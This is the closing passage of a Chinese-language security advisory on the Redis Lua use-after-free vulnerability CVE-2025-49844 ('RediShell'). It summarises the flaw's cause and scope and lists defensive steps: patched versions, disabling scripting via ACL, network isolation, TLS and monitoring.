CVE-2025-49844 "RediShell"是一个影响深远的严重安全漏洞,存在时间超过13年,影响所有使用Lua脚本的Redis实例。虽然利用需要认证权限,但考虑到互联网上大量未认证或弱认证的Redis实例,现实威胁非常严重。

15.2 核心技术要点

  1. 漏洞本质: Lua解释器中的TString对象内存管理缺陷

  2. 触发机制: 解析期垃圾回收导致的Use-After-Free

  3. 影响范围: 所有支持Lua脚本的Redis版本

  4. 修复方案: 通过栈锚定确保对象生命周期管理

15.3 立即行动建议

24小时内必须完成:

  • 立即升级到修复版本 (6.2.20/7.2.11/7.4.6/8.0.4/8.2.2+)

  • 或通过ACL禁用@scripting权限

  • 验证所有生产实例版本和配置

1周内完成:

  • 实施网络隔离和访问控制

  • 部署监控和检测规则

  • 进行安全扫描和配置审计

长期策略:

  • 建立Redis安全基线

  • 定期安全评估和渗透测试

  • 完善应急响应计划

15.4 防御最佳实践

  1. 最小权限原则: 严格按照业务需求分配权限

  2. 网络分段: 将Redis部署在受信任的网络环境中

  3. 加密通信: 启用TLS加密保护数据传输

  4. 持续监控: 实施异常检测和告警机制

  5. 定期更新: 保持Redis版本更新和安全补丁

15.5 风险治理建议

通过采取全面的安全措施,组织可以有效防范此类漏洞的威胁,保护Redis数据和基础设施的安全。建议将Redis安全纳入整体安全治理框架,建立持续的漏洞管理和风险监控机制。


本报告基于公开的安全研究和技术分析编写,仅用于教育和防御目的。请在使用任何安全工具或技术前确保获得适当的授权。


文章来源: https://www.freebuf.com/articles/vuls/455984.html
如有侵权请联系:admin#unsafe.sh